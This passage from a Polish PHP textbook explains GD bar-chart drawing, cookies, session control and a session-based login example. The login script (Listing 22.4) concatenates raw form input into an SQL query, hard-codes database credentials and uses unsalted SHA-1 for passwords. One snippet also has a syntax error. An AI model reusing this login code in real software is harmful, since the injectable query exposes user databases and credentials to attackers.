$wysokosc_tytulu = abs($wymiary_tytulu[7] - $wymiary_tytulu[1]);
$tytul_nad_linia = abs($wymiary_tytulu[7]);
$tytul_x = ($szerokosc - $dlugosc_tytulu)/2; // wyśrodkowanie w x
$tytul_y = ($y - $wysokosc_tytulu)/2 + $tytul_nad_linia; // wyśrodkowanie w y

imagettftext($ob, $rozmiar_tytulu, 0, $tytul_x, $tytul_y,


$kolor_tekstu, $czcionka, $tytul);

// narysowanie bazy od nieco ponad pozycją pierwszego słupka do nieco


// poniżej pozycji ostatniego
imageline($ob, $x, $y-5, $x, $wysokosc-15, $kolor_linii);

W części trzeciej skonfigurowany zostaje podstawowy obrazek, przydzielone kolory, po czym roz-
poczyna się rysowanie wykresu.

Tło obrazka zostaje wypełnione za pomocą wywołania:


imagefilledrectangle($ob,0,0,$szerokosc-1,$wysokosc-1,$kolor_tla);

Funkcja imagefilledrectangle() rysuje wypełniony prostokąt. Pierwszym parametrem jest, jak


zwykle, identyfikator obrazka. Następnie należy przekazać funkcji współrzędne X i Y początkowego
i końcowego punktu prostokąta. Punkty te oznaczają odpowiednio jego lewy górny i prawy dolny
róg. W tym przypadku cały kadr zostaje wypełniony kolorem tła, czyli ostatnim parametrem; jest
to kolor biały.

Następnie wykonane zostaje wywołanie:


imagerectangle($ob,0,0,$szerokosc-1,$wysokosc-1,$kolor_linii);

które rysuje czarny kontur wokół krańców kadru. Funkcja ta rysuje prostokąt niewypełniony. Para-
metry są identyczne jak w przypadku poprzedniej funkcji. Należy zauważyć, że prostokąt został
narysowany do współrzędnych $szerokosc-1 i $wysokosc-1 — kadr posiada wymiary od (0,0) do
tych wartości. Jeżeli prostokąt zostałby narysowany do $szerokosc i $wysokosc, znalazłby się na
zewnątrz kadru.

W celu wyśrodkowania i wpisania tytułu na wykresie zastosowana została ta sama logika i funkcje
jak w przypadku poprzedniego przykładu.
Rozdział 21.  Generowanie obrazków 461

Na końcu narysowana zostaje baza słupków za pomocą wywołania:


imageline($ob, $x, $y-5, $x, $wysokosc-15, $kolor_linii);

Funkcja ImageLine() rysuje na konkretnym obrazku ($ob) linię od jednych współrzędnych


($x, $y-5) do drugich ($x, $wysokosc-15) o kolorze określonym przez $kolor_linii.

W tym przypadku baza została narysowana od punktu nieco powyżej miejsca, w którym zostanie
narysowany pierwszy słupek, do punktu nieco powyżej końca kadru.

W tym momencie można wypełnić wykres danymi. Część czwarta jest przedstawiona na li-
stingu 21.5.4.

Listing 21.5.4. pokaz_wyniki.php — część czwarta umieszcza dane na wykresie i kończy działanie skryptu
/*********************************************
Umieszczenie danych na wykresie
*********************************************/
// Pobranie każdego wiersza bazy danych i narysowanie odpowiadających im słupków

while ($w_polecenie->fetch())
{

if ($suma_glosow > 0) {
$procent = intval(round(($ilosc_glosow/$suma_glosow)*100));
} else {
$procent = 0;
}

// wyświetlenie procentów dla tej wartości


$wymiary_procentow = imagettfbbox($rozmiar_podstawowy, 0, $czcionka, $procent.'%');

$dlugosc_procentow = $wymiary_procentow[2] - $wymiary_procentow[0];

imagettftext($ob,$rozmiar_podstawowy, 0, $szerokosc-$dlugosc_procentow-$wciecie_tekstu,
$y+($wysokosc_slupka/2), $kolor_procentow, $czcionka, $procent.'%');

// długość słupka dla tej wartości


$dlugosc_slupka = $x + ($procent * $jednostka_slupka);

// narysowanie słupka dla tej wartości


imagefilledrectangle($ob, $x, $y-2, $dlugosc_slupka, $y+$wysokosc_slupka, $kolor_slupka);

// narysowanie tytułu dla tej wartości


imagettftext($ob, $rozmiar_podstawowy, 0, $wciecie_tekstu,
$y+($wysokosc_slupka/2), $kolor_tekstu, $czcionka, $kandydat);

// narysowanie konturu pokazującego 100%


imagerectangle($ob, $dlugosc_slupka+1, $y-2, ($x+(100*$jednostka_slupka)),
$y+$wysokosc_slupka, $kolor_linii);

// wyświetlenie liczb
imagettftext($ob, $rozmiar_maly, 0, $x+(100*$jednostka_slupka)-50,
$y+($wysokosc_slupka/2), $kolor_liczb, $czcionka,
$ilosc_glosow.'/'.$suma_glosow);

// przesunięcie do następnego słupka


$y = $y+($wysokosc_slupka+$odleglosc_slupkow);
}
462 Część IV  Zaawansowane techniki PHP

/*********************************************
Wyświetlenie obrazka
*********************************************/
header('Content-type: image/png');
imagepng($ob);

/*********************************************
Zwalnianie zasobów
*********************************************/
$w_polecenie->free_result();
$bd_polacz->close();
imagedestroy($ob);
?>

Część czwarta bierze po kolei kandydatów dostępnych w wynikach pobranych z bazy danych,
oblicza procent oddanych głosów oraz rysuje słupki i etykiety dla każdego kandydata.

Po raz kolejny etykiety dodawane są za pomocą funkcji imagettftext(). Słupki rysowane są jako
wypełnione prostokąty za pomocą funkcji imagefilledrectangle():
imagefilledrectangle($ob, $x, $y-2, $dlugosc_slupka, $y+$wysokosc_slupka,
$kolor_slupka);

Kontury dla wyniku 100% są dodawane za pomocą funkcji imagerectangle():


imagerectangle($ob, $dlugosc_slupka+1, $y-2, ($x+(100*$jednostka_slupka)),
$y+$wysokosc_slupka, $kolor_linii);

Po narysowaniu wszystkich słupków obrazek zostaje wyświetlony za pomocą funkcji imagepng(),


po czym zasoby są zwolnione dzięki wywołaniu funkcji imagedestroy().

Powyższy skrypt jest dość długi, lecz może być łatwo przystosowany do konkretnych potrzeb lub
do automatycznego tworzenia ankiet poprzez interfejs. Jedną ważną własnością skryptu, której
w tym przypadku brakuje, jest mechanizm wykrywający oszustwa. Użytkownicy szybko odkryliby
możliwość wielokrotnego głosowania i wyniki stałyby się bezwartościowe.

Podobne ujęcie można zastosować do tworzenia wykresów liniowych, a nawet kołowych, pod wa-
runkiem posiadania odpowiedniej wiedzy matematycznej.

Inne funkcje obrazków


Oprócz funkcji zastosowanych w tym rozdziale w bibliotece GD oraz PHP dostępnych jest
jeszcze wiele innych funkcji — wystarczy zajrzeć do dokumentacji PHP zamieszczonej na stronie
http://php.net/manual/en/book.image.php. Testując te funkcje, trzeba pamiętać, że tworzenie rysun-
ków przy użyciu języków programowania jest czasochłonne, a osiągnięcie zamierzonego efektu
wymaga wielu prób. Należy zawsze rozpoczynać od naszkicowania żądanego obrazka, po czym
można przejrzeć podręcznik w poszukiwaniu dodatkowych potrzebnych funkcji.

W następnym rozdziale
W następnym rozdziale opiszemy użyteczne funkcje kontroli sesji PHP, zapewniające możliwość
zachowywania stanu w aplikacjach internetowych.
Rozdział 22.
Stosowanie kontroli sesji
w PHP
W tym rozdziale opisujemy sposoby kontroli sesji w PHP, stanowiące powszechnie wykorzysty-
waną metodę przechowywania i wielokrotnego stosowania danych związanych z konkretnym
użytkownikiem w wielu punktach tej samej aplikacji internetowej.

Poruszamy w nim następujące zagadnienia:


 czym jest kontrola sesji,
 stosowanie cookies,
 konfiguracja sesji,
 zmienne sesyjne,
 sesje i uwierzytelnianie.

Czym jest kontrola sesji?


Można czasem usłyszeć, że HTTP jest protokołem bezstanowym. Stwierdzenie to jest prawdziwe
i oznacza, że protokół ten nie posiada wbudowanego sposobu zachowywania stanu pomiędzy dwie-
ma transakcjami. Należy to rozumieć tak, że gdy użytkownik żąda jednej strony, a później następnej,
protokół HTTP nie jest w stanie określić, czy oba żądania pochodzą od tego samego użytkownika.

Ideą kontroli sesji jest zapewnienie możliwości śledzenia użytkownika podczas pojedynczej sesji
w witrynie WWW. Umożliwia ona dokonanie wielu operacji: łatwą obsługę logowania użytkow-
ników oraz wyświetlanie zawartości zależnie od poziomu uwierzytelnienia lub osobistych preferen-
cji. Dodatkowo sesje pozwalają między innymi na śledzenie zachowań użytkownika czy też zaim-
plementowanie koszyków na zakupy.

PHP udostępnia obszerny zestaw wbudowanych funkcji do kontroli sesji, jak również jedną super-
globalną tablicę $_SESSION.

Podstawowa zasada działania sesji


Sesje w PHP są prowadzone przez unikatowy identyfikator sesji, który kryptograficznie jest liczbą
losową. Identyfikator sesji jest generowany przez PHP i przechowywany po stronie klienta przez
cały czas trwania sesji. Może on być przechowywany w komputerze użytkownika jako cookie
(co jest najczęściej stosowanym rozwiązaniem) lub przekazywany przez URL-e.
464 Część IV  Zaawansowane techniki PHP

Identyfikator sesji działa jak klucz pozwalający na zgłoszenie konkretnych zmiennych jako tak zwa-
nych zmiennych sesyjnych. Zawartość tych zmiennych jest przechowywana na serwerze. Identy-
fikator sesji jest jedyną informacją widoczną po stronie klienta. Jeżeli podczas konkretnego
połączenia z danym serwerem identyfikator sesji jest widoczny poprzez cookie lub URL, można
uzyskać dostęp do zmiennych tej sesji przechowywanych na serwerze. Najprawdopodobniej każdy
kiedyś korzystał z witryn, które przechowują identyfikator sesji w adresach URL. Jeśli adres URL
strony zawiera fragment danych wyglądających na losowe, to najprawdopodobniej jest to jakiś
rodzaj kontroli sesji.

Domyślnie zmienne sesyjne są przechowywane w zwyczajnych plikach na serwerze. (Mogą one


zostać zamienione na bazę danych, jeżeli napisze się własna funkcję — więcej informacji na ten
temat znajduje się w podrozdziale „Konfiguracja kontroli sesji”).

Czym jest cookie?


Cookies (nazywane także ciasteczkami) są innym rozwiązaniem problemu zachowywania stanu
poprzez kilka transakcji, przy stale czysto wyglądającym URL-u. Cookie to niewielki fragment
informacji, który skrypty mogą przechować na komputerze klienta. Cookie może zostać zapisane
na komputerze klienta poprzez wysłanie nagłówka HTTP zawierającego dane o następującym
formacie:
Set-Cookie: name=wartosc; [expires=data;] [path=sciezka;] [domain=nazwa_domeny;] [secure;] [HttpOnly]

Powyższe wyrażenie utworzy cookie o nazwie name i wartości wartosc. Wszystkie inne parametry
są opcjonalne. Pole expires zawiera datę, po której cookie nie będzie już ważne. Jeżeli data wyga-
śnięcia nie zostanie podana, cookie działa, dopóki nie zostanie ręcznie usunięte przez użytkownika
lub administratora. Path i domain mogą być łącznie zastosowane do określenia URL-a bądź URL-ów,
dla których ważne jest cookie. Słowo kluczowe secure oznacza, że cookie nie będzie wysyłane
poprzez zwykłe połączenie HTTP. W końcu słowo kluczowe HttpOnly oznacza, że cookie będzie
dostępne jedynie przy użyciu protokołu HTTP, a nie w klienckich językach programowania, takich
jak JavaScript.

Kiedy przeglądarka łączy się z URL-em, w pierwszej kolejności poszukuje cookies przechowywa-
nych lokalnie. Jeżeli któreś z nich jest odpowiednie dla danego URL-a, zapisane w nim informacje
zostaną przekazane na serwer.

Konfiguracja cookies w PHP


Cookies mogą być w PHP ustawione ręcznie za pomocą funkcji setcookie(). Posiada ona nastę-
pujący prototyp:
bool setcookie (string nazwa [, string wartość [, int wygasa = 0 [, string ścieżka [, string
domena [, int bezpieczne = false] [ int httponly = false]]]]])

Parametry tej funkcji odpowiadają dokładnie parametrom opisanego wcześniej nagłówka Set-Cookie.

Jeżeli cookie zostanie ustawione jako


setcookie('mojecookie', 'wartosc');

to kiedy użytkownik odwiedzi następną stronę tej samej witryny (lub przeładuje tę samą stronę),
administrator uzyska dostęp do zawartości cookie poprzez $_COOKIE['mojecookie'].
Rozdział 22.  Stosowanie kontroli sesji w PHP 465

Cookie może zostać usunięte poprzez ponowne wywołanie setcookie() z tą samą nazwą cookie
i z datą wygaśnięcia pochodzącą z przeszłości. Cookie może zostać również skonfigurowane
ręcznie za pomocą funkcji header() oraz składni cookie podanej uprzednio. Należy pamiętać, że
nagłówek cookie musi zostać wysłany przed innymi nagłówkami; w przeciwnym wypadku nie
będzie działał. Ograniczenie to wynika z istoty samych cookies, nie jest zaś ograniczeniem PHP.

Stosowanie cookies w sesji


Istnieją pewne problemy związane z cookies — niektóre przeglądarki ich nie akceptują, a pewni
użytkownicy mogą wyłączyć obsługę cookies w swoich przeglądarkach. (Jest to jeden z powodów,
dla których w trakcie sesji PHP stosuje się podwójną metodę cookie\URL; zostanie ona przedsta-
wiona już niebawem).

Podczas sesji PHP nie trzeba ręcznie ustawiać żadnych cookies. Zajmują się tym odpowiednie
funkcje PHP, które tworzą wszystkie cookies niezbędne do rozpoczęcia sesji, kiedy tylko zażąda
tego programista, wywołując jedną z nich.

W celu obejrzenia zawartości cookie ustawionego poprzez kontrolę sesji można zastosować funkcję
session_get_cookie_params(). Zwraca ona tablicę zawierającą elementy lifetime (okres życia),
path (ścieżka) i domain (domena).

Można również zastosować wywołanie o postaci:


session_set_cookie_params(czas_zycia, sciezka, domena [, bezpieczne][, tylkohttp]);

w celu ustawienia parametrów cookie sesji.


Więcej informacji na temat cookies można znaleźć w ich specyfikacji („HTTP State Management
Mechanism1”) dostępnej na stronie http://tools.ietf.org/html/rfc6265.

Przechowywanie identyfikatora sesji


Sesje PHP domyślnie używają cookies do przechowywania identyfikatora sesji. Jeżeli to możliwe,
cookie zostanie skonfigurowane do przechowywania identyfikatora sesji. Innym rozwiązaniem,
które można zastosować w PHP, jest dodawanie identyfikatora sesji do adresów URL. PHP można
skonfigurować w taki sposób, by operacja ta była wykonywana automatycznie — w tym celu
w pliku php.ini należy przypisać dyrektywie konfiguracyjnej session.use_trans_sid wartość On;
domyślnie jest ona wyłączona.

Dyrektywy session.use_trans_sid należy używać z ostrożnością, gdyż może się ona przyczy-
niać do zwiększania zagrożenia witryny. W przypadku jej włączenia użytkownik może wysłać
pocztą elektroniczną do innej osoby adres URL zawierający identyfikator sesji, adres URL może
zostać zapamiętany na komputerze dostępnym publicznie — albo stanie się dostępny w historii,
albo w zakładkach przeglądarki na powszechnie dostępnym komputerze.

Alternatywnie można także samodzielnie dodawać identyfikator sesji do wszystkich łączy, aby
był przekazywany dalej. Identyfikator sesji jest przechowywany w stałej SID. Aby przekazać tę
stałą ręcznie, należy dodać ją na końcu łącza, podobnie do parametru GET:
<a href="lacze.php?<?php echo strip_tags(SID); ?>">

Funkcja strip_tags() została tu użyta w celu uniknięcia ataków ze strony skryptów z innych stron.

1
Mechanizm zarządzania stanem w HTTP — przyp. tłum.
466 Część IV  Zaawansowane techniki PHP

Implementacja prostych sesji


Podstawowe etapy stosowania sesji w PHP to:
1. Rozpoczynanie sesji.
2. Zgłaszanie zmiennych sesyjnych.
3. Korzystanie ze zmiennych sesyjnych.
4. Usuwanie zmiennych i niszczenie sesji.

Należy zauważyć, że etapy te nie muszą dotyczyć jednego skryptu, a niektóre z nich mogą wystę-
pować w wielu. Każdy z nich jest omówiony poniżej.

Rozpoczynanie sesji
Zanim możliwe będzie skorzystanie z możliwości, jakie zapewnia sesja, należy ją rozpocząć. Mo-
żemy to zrobić na dwa sposoby.

Pierwszym i najprostszym jest rozpoczęcie skryptu przez wywołanie funkcji session_start():


session_start();

Sprawdza ona istnienie identyfikatora sesji. Jeżeli identyfikator ten nie istnieje, zostanie stworzony,
a także udostępniona zostanie superglobalna tablica $_SESSION. Jeżeli sesja już istnieje, funkcja
session_start() pobierze zmienne sesyjne, aby można było z nich skorzystać. Z tego względu
kluczowe jest wywoływanie session_start() na początku każdego skryptu korzystającego z sesji.
Jeżeli funkcja session_start() nie zostanie wywołana, wówczas w kodzie skryptu żadne dane zapi-
sane w ramach sesji nie będą dostępne.

Drugim sposobem zainicjowania sesji jest takie skonfigurowanie PHP, aby rozpoczynał ją automa-
tycznie, kiedy ktoś odwiedza daną stronę. Można to uczynić za pomocą dyrektywy konfiguracyjnej
session.auto_start w pliku php.ini — takie rozwiązanie zostanie opisane w dalszej części rozdzia-
łu. Z metodą tą wiąże się jedna poważna niedogodność: po włączeniu auto_start nie można używać
obiektów w charakterze zmiennych sesyjnych. Przyczyną jest to, że definicja klasy takiego obiektu
musi zostać załadowana przed rozpoczęciem sesji, ponieważ tylko wtedy można tworzyć
obiekty w ramach sesji.

Zgłaszanie zmiennych sesyjnych


Jak już napisano wcześniej, zmienne sesyjne są zapisywane w tablicy superglobalnej $_SESSION.
W celu utworzenia zmiennej sesyjnej wystarczy w jednej z tych tablic ustawić element w nastę-
pujący sposób:
$_SESSION['mojazmienna'] = 5;

Utworzona zmienna sesyjna będzie śledzona do końca sesji lub dopóki nie zostanie usunięta ręcznie.
Ważność sesji może również wygasnąć w sposób naturalny, zależnie od ustawienia dyrektywy
session.gc_maxlifetime w pliku php.ini. Dyrektywa ta wskazuje określoną w sekundach ilość
czasu, przez którą sesja będzie ważna, zanim zostanie zakończona przez mechanizm odśmiecania.
Rozdział 22.  Stosowanie kontroli sesji w PHP 467

Stosowanie zmiennych sesyjnych


Jak już wcześniej wspomniano, aby dodać zmienne sesyjne do bieżącego zasięgu, a tym samym aby
móc je stosować w kodzie, należy najpierw rozpocząć sesję, wywołując funkcję session_start().
Następnie można uzyskać dostęp do zmiennej poprzez superglobalną tablicę $_SESSION, na przy-
kład $_SESSION['mojazmienna'].

Jeżeli jako zmienna sesyjna używany jest obiekt, ważne jest, aby przed wywołaniem session_start()
dołączyć definicję klasy w celu ponownego załadowania zmiennych sesyjnych. Dzięki temu PHP
będzie wiedzieć, w jaki sposób zrekonstruować obiekt sesji.

Z drugiej strony należy być ostrożnym przy sprawdzaniu, czy zmienne sesyjne zostały ustawione
(na przykład za pomocą isset() lub empty()). Warto pamiętać, że zmienne mogą być ustawione
przez użytkownika za pomocą metody POST lub GET. Można sprawdzić zmienną w celu określenia,
czy jest to zgłoszona zmienna sesyjna, poprzez sprawdzenie wartości $_SESSION.

Można bezpośrednio sprawdzić, czy elementy tablicy są ustawione, wpisując na przykład:


if (isset($_SESSION['mojazmienna']))
{
// tu można coś zrobić, gdyż zmienna sesyjna jest dostępna
}

Usuwanie zmiennych i niszczenie sesji


Kiedy zmienna sesyjna nie będzie już dłużej potrzebna, można ją usunąć. Można tego dokonać
bezpośrednio, usuwając odpowiedni element tablicy $_SESSION, na przykład:
unset($_SESSION['mojazmienna'];

Nie powinno się podejmować prób usunięcia całej tablicy $_SESSION, ponieważ w efekcie całko-
wicie zablokuje to sesję. Aby usunąć wszystkie zmienne sesyjne naraz, można użyć poniższej
instrukcji, która wyczyści wszystkie elementy tablicy $_SESSION:
$_SESSION = array();

Kiedy sesja wykonała już wszystkie działania, należy usunąć wszystkie zmienne, po czym wywołać
session_destroy();

co usunie identyfikator sesji.

Przykład prostej sesji


Niektóre z powyższych funkcji mogą wydawać się nieco abstrakcyjne, więc poniżej przedstawiamy
przykład. Zaimplementowane zostały trzy strony.

Na pierwszej stronie nastąpi rozpoczęcie sesji oraz zostanie zarejestrowana zmienna $_SESSION
['zmienna_sesyjna']. Kod tej strony przedstawiono na listingu 22.1.

Listing 22.1. strona1.php — rozpoczęcie sesji i zgłoszenie zmiennych


<?php
session_start();

$_SESSION['zmienna_sesyjna'] = "Witaj świecie!";


468 Część IV  Zaawansowane techniki PHP

echo 'Zawartość zmiennej $_SESSION[\'zmienna_sesyjna\'] wynosi '


.$_SESSION['zmienna_sesyjna'].'<br />';

?>
<p><a href="strona2.php">Następna strona</a></p>

Zmienna została zgłoszona i nadano jej wartość. Wynik uruchomienia powyższego skryptu przed-
stawiono na rysunku 22.1.

Rysunek 22.1.
Początkowa wartość
zmiennej sesyjnej
przedstawiona przez
stronę strona1.php

Ostateczna wartość zmiennej na stronie to ta, która będzie dostępna na kolejnych stronach. Na końcu
skryptu zmienna sesyjna zostaje zamrożona do czasu jej ponownego pobrania poprzez następne
wywołanie session_start().

Kolejnym wywołaniem session_start() rozpoczyna się następny skrypt, przedstawiony na listin-


gu 22.2.

Listing 22.2. strona2.php — uzyskanie dostępu do zmiennej sesyjnej i usunięcie jej


<?php
session_start();

echo 'Zawartość zmiennej $_SESSION[\'zmienna_sesyjna\'] wynosi '


.$_SESSION['zmienna_sesyjna'].'<br />';

unset($_SESSION['zmienna_sesyjna']);
?>
<p><a href="strona3.php">Następna strona</a></p>

Po wywołaniu session_start() zmienna $_SESSION['zmienna_sesyjna'] jest dostępna z poprzednio


przechowaną w niej wartością, jak przedstawiono na rysunku 22.2.

Po zastosowaniu zmiennej usuwamy ją funkcją unset(). Sesja nadal trwa, lecz zmienna $_SESSION
['zmienna_sesyjna'] nie jest już zgłoszona.

Ostatecznie następuje przejście do strony strona3.php, ostatniego skryptu tego przykładu. Kod tego
skryptu jest przedstawiony na listingu 22.3.

Jak pokazano na rysunku 22.3, nie można już uzyskać dostępu do wartości zmiennej $_SESSION
['zmienna_sesyjna'].
Rozdział 22.  Stosowanie kontroli sesji w PHP 469

Rysunek 22.2.
Wartość zmiennej
sesyjnej została
przekazana przez
identyfikator sesji
stronie strona2.php

Listing 22.3. strona3.php — zakończenie sesji


<?php
session_start();

echo 'Zawartość zmiennej $_SESSION[\'zmienna_sesyjna\'] wynosi '


.$_SESSION['zmienna_sesyjna'].'<br />';

session_destroy();
?>

Rysunek 22.3.
Usunięta zmienna
nie jest już dostępna

Skrypt jest zakończony wywołaniem session_destroy() w celu usunięcia identyfikatora sesji.

Konfiguracja kontroli sesji


Istnieje zbiór opcji konfiguracyjnych sesji, które można ustawić w pliku php.ini. Opcje bardziej
przydatne oraz ich opis są przedstawione w tabeli 22.1. Kilka dodatkowych opcji związanych
z konfigurowaniem sesji zostało zaprezentowanych w rozdziale 17., „Interakcja z systemem plików
i serwerem”.

Pełną listę ustawień konfiguracyjnych związanych z sesjami można znaleźć w dokumentacji PHP
dostępnej na stronie http://php.net/manual/en/session.configuration.php.
470 Część IV  Zaawansowane techniki PHP

Tabela 22.1. Opcje konfiguracyjne sesji

Nazwa opcji Wartość Wynik


domyślna
session.auto_start 0 (wyłączona) Automatycznie rozpoczyna sesję
session.cache_expire 180 Ustawia czas przechowywania sesji w pamięci podręcznej
(w minutach)
session.cookie_domain brak Domena ustawiana w cookie sesji
session.cookie_path / Ścieżka ustawiana w cookie sesji
session.cookie_secure brak Wskazuje, czy pliki cookie powinny być wysyłane
wyłącznie w ramach bezpiecznego połączenia
session.cookie.httponly brak Określa, czy cookie sesji ma być dostępne wyłącznie
w protokole HTTP, a co za tym idzie, czy nie będzie
dostępne w skryptach klienckich
session.cookie_lifetime 0 Określa, jak długo cookie identyfikatora sesji będzie
przechowywane w komputerze użytkownika. Wartość
domyślna, 0, oznacza trwanie do czasu zamknięcia
przeglądarki
session.name PHPSESSID Nazwa sesji używana jako nazwa cookie w komputerze
użytkownika
session.save_handler files Definiuje typ miejsca przechowywania danych sesji. Może
wskazywać bazę danych, lecz w tym celu należy napisać
własne funkcje obsługujące
session.save_path "" Ścieżka do miejsca przechowywania danych. Bardziej
ogólnie, argument przekazany funkcji przechowującej,
obsługiwanej i zdefiniowanej przez session.save_handler
session.use_cookies 1 (włączony) Określa stosowanie cookies po stronie klienta
session.hash_function 0 (MD5) Pozwala na wskazanie algorytmu mieszającego, za
pomocą którego generowany będzie identyfikator sesji.
Wartość "0" oznacza, że algorytmem tym będzie MD5
(128-bitowy), zaś "1" oznacza algorytm SHA-1 (160-bitowy)

Implementacja uwierzytelniania w kontroli sesji


Najprawdopodobniej najpopularniejszym zastosowaniem kontroli sesji jest śledzenie użytkowni-
ków po ich uwierzytelnieniu przez mechanizm logowania. W poniższym przykładzie w celu stwo-
rzenia takich możliwości funkcjonalnych uwierzytelnianie przez bazę danych MySQL połączono
ze stosowaniem sesji. Możliwość ta stanowi podstawę projektu przedstawionego w rozdziale 27.
Zostanie także zastosowana w innych projektach.

Przykład ten składa się z trzech prostych skryptów. Pierwszy z nich, uwierz_glowny.php, obsługuje
formularz logowania i uwierzytelnianie członków danej witryny WWW. Drugi, tylko_czlonkowie.php,
wyświetla informacje jedynie członkom pomyślnie zalogowanym. Trzeci, wylog.php, dokonuje
wylogowania członka.

Aby zrozumieć zasadę działania przedstawionego przykładu, należy spojrzeć na rysunek 22.4, który
ukazuje początkową stronę wyświetlaną przez uwierz_glowny.php.
Rozdział 22.  Stosowanie kontroli sesji w PHP 471

Rysunek 22.4.
Ponieważ użytkownik
jeszcze się nie zalogował,
należy wyświetlić stronę
logowania

Strona ta dostarcza użytkownikowi miejsce do zalogowania. Jeżeli spróbuje on uzyskać dostęp do


części członkowskiej bez uprzedniego zalogowania się, otrzyma wiadomość przedstawioną na
rysunku 22.5.

Rysunek 22.5.
Użytkownicy
niezalogowani nie mogą
zobaczyć zawartości
strony; zamiast tego
otrzymają następującą
wiadomość

Jeżeli jednak użytkownik wcześniej zaloguje się (za pomocą nazwy użytkownika testowy i hasła
haslo), a następnie spróbuje zobaczyć stronę członkowską, otrzyma wynik przedstawiony na ry-
sunku 22.6.

Rysunek 22.6.
Po zalogowaniu się
użytkownik może
zobaczyć obszary
członkowskie
472 Część IV  Zaawansowane techniki PHP

Najpierw przeanalizujmy kod źródłowy aplikacji. Większość kodu tej aplikacji należy do pliku
uwierz_glowny.php. Skrypt ten jest przedstawiony na listingu 22.4. Poniżej znajduje się szczegó-
łowy opis.

Listing 22.4. uwierz_glowny.php — główna część aplikacji uwierzytelniającej


<?php
session_start();

if(isset($_POST['iduzytkownika']) && isset($_POST['haslo']))


{
// jeżeli użytkownik właśnie podjął próbę zalogowania
$iduzytkownika = $_POST['iduzytkownika'];
$haslo = $_POST['haslo'];

$bd_lacz = new mysqli('localhost', 'uwierzytel', 'uwierzytel', 'uwierz');

if (mysqli_connect_errno()) {
echo 'Połączenie z bazą danych nie powiodło się: '.mysqli_connect_error();
exit();
}

$zapytanie = "select * from uwierzytelnieni_uzytkownicy


where uzytkownik='".$iduzytkownika."' and
haslo=sha1('".$haslo."')";

$wynik = $bd_lacz->query($zapytanie);
if($wynik->num_rows)
{
// jeżeli dane są w bazie, zarejestrowanie identyfikatora użytkownika
$_SESSION['prawid_uzyt'] = $iduzytkownika;
}
$bd_lacz->close();
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Stron główna</title>
<style type="text/css">
fieldset {
width: 50%;
border: 2px solid #ff0000;
}
legend {
font-weight: bold;
font-size: 125%;
}
label {
width: 125px;
float: left;
text-align: left;
font-weight: bold;
}
input {
border: 1px solid #000;
padding: 3px;
}
button {
margin-top: 12px;
}
</style>
Rozdział 22.  Stosowanie kontroli sesji w PHP 473

</head>
<body>
<h1>Strona główna</h1>
<?php
if(isset($_SESSION['prawid_uzyt']))
{
echo '<p>Użytkownik zalogowany jako: '.$_SESSION['prawid_uzyt'].' <br />';
echo '<a href="wylog.php">Wylogowanie</a></p>';
}
else
{
if(isset($iduzytkownika))
{
// jeżeli próba logowania była nieudana
echo '<p>Zalogowanie niemożliwe.</p>';
}
else
{
// nie było próby logowania lub nastąpiło wylogowanie
echo '<p>Użytkownik niezalogowany.</p>';
}
// tworzenie formularza logowania
echo '<form method="post" action="uwierz_glowny.php">';
echo '<fieldset>';
echo '<legend>Proszę się zalogować!</legend>';
echo '<p><label for="iduzytkownika">Identyfikator użytkownika:</label>';
echo '<input type="text" name="iduzytkownika" id="iduzytkownika" size="30"/></p>';
echo '<p><label for="haslo">Hasło:</label>';
echo '<input type="password" name="haslo" id="haslo" size="30"/></p>';
echo '</fieldset>';
echo '<button type="submit" name="login">Logowanie</button>';
}
?>
<br />
<a href="tylko_czlonkowie.php">Część członkowska</a>
</body>
</html>

W powyższym skrypcie zastosowano pewną skomplikowaną logikę, ponieważ wyświetla on


formularz logowania, stanowi akcję formularza oraz zawiera kod HTML obsługujący przypadki
poprawnego i zakończonego niepowodzeniem logowania.

Działania skryptu skupiają się na zmiennej sesyjnej $prawid_uzyt. Podstawowa idea jest taka,
że jeżeli ktoś zaloguje się pomyślnie, zostanie zgłoszona zmienna sesyjna o nazwie $_SESSION
['prawid_uzyt'], zawierająca identyfikator tej osoby.

Pierwszą czynnością wykonaną przez skrypt jest wywołanie funkcji session_start(). Funkcja ta
pobierze zmienną sesyjną $prawid_uzyt, jeżeli została ona zarejestrowana.

Podczas pierwszego wykonania skryptu żaden z warunków if nie będzie spełniony, tak więc użyt-
kownik zostanie skierowany do jego części końcowej. Otrzyma on informację o braku zalogowania
oraz przedstawiony mu zostanie odpowiedni służący do tego formularz:
echo '<form method="post" action="uwierz_glowny.php">';
echo '<fieldset>';
echo '<legend>Proszę się zalogować!</legend>';
echo '<p><label for="iduzytkownika">Identyfikator użytkownika:</label>';
echo '<input type="text" name="iduzytkownika" id="iduzytkownika" size="30"/></p>';
echo '<p><label for="haslo">Hasło:</label>';
echo '<input type="password" name="haslo" id="haslo" size="30"/></p>';
474 Część IV  Zaawansowane techniki PHP

echo '</fieldset>';
echo '<button type="submit" name="login">Logowanie</button>';
echo '</form>';

Po naciśnięciu przez użytkownika przycisku na formularzu skrypt zostaje uruchomiony ponownie


od początku. Tym razem dysponuje on identyfikatorem użytkownika i hasłem, które można wyko-
rzystać do uwierzytelnienia, przechowywanym jako $_POST['iduzytkownika'] i $_POST['haslo'].
Jeżeli zmienne te są ustawione, następuje uruchomienie bloku uwierzytelniającego:
if(isset($_POST['iduzytkownika']) && isset($_POST['haslo']))
{
// jeżeli użytkownik właśnie podjął próbę zalogowania
$iduzytkownika = $_POST['iduzytkownika'];
$haslo = $_POST['haslo'];

$bd_lacz = new mysqli('localhost', 'uwierzytel', 'uwierzytel', 'uwierz');


if (mysqli_connect_errno()) {
echo 'Połączenie z bazą danych nie powiodło się: '.mysqli_connect_error();
exit();
}

$zapytanie = "select * from uwierzytelnieni_uzytkownicy


where uzytkownik='".$iduzytkownika."' and
haslo=sha1('".$haslo."')";

$wynik = $bd_lacz->query($zapytanie);

Otwarte zostaje połączenie z bazą danych MySQL i wykonane zapytanie, po czym następuje
sprawdzenie identyfikatora użytkownika i hasła. Jeżeli stanowią one pasującą do siebie parę w bazie
danych, zostaje zgłoszona zmienna $_SESSION['prawid_uzyt']. Zawiera ona identyfikator tego
konkretnego użytkownika, tak więc znana jest jego tożsamość i istnieje możliwość jego dalszego
śledzenia.
if($wynik->num_rows)
{
// jeżeli dane są w bazie, zarejestrowanie identyfikatora użytkownika
$_SESSION['prawid_uzyt'] = $iduzytkownika;
}
$bd_lacz->close();
}

Ponieważ tożsamość użytkownika jest już znana, nie trzeba wyświetlać ponownie formularza logo-
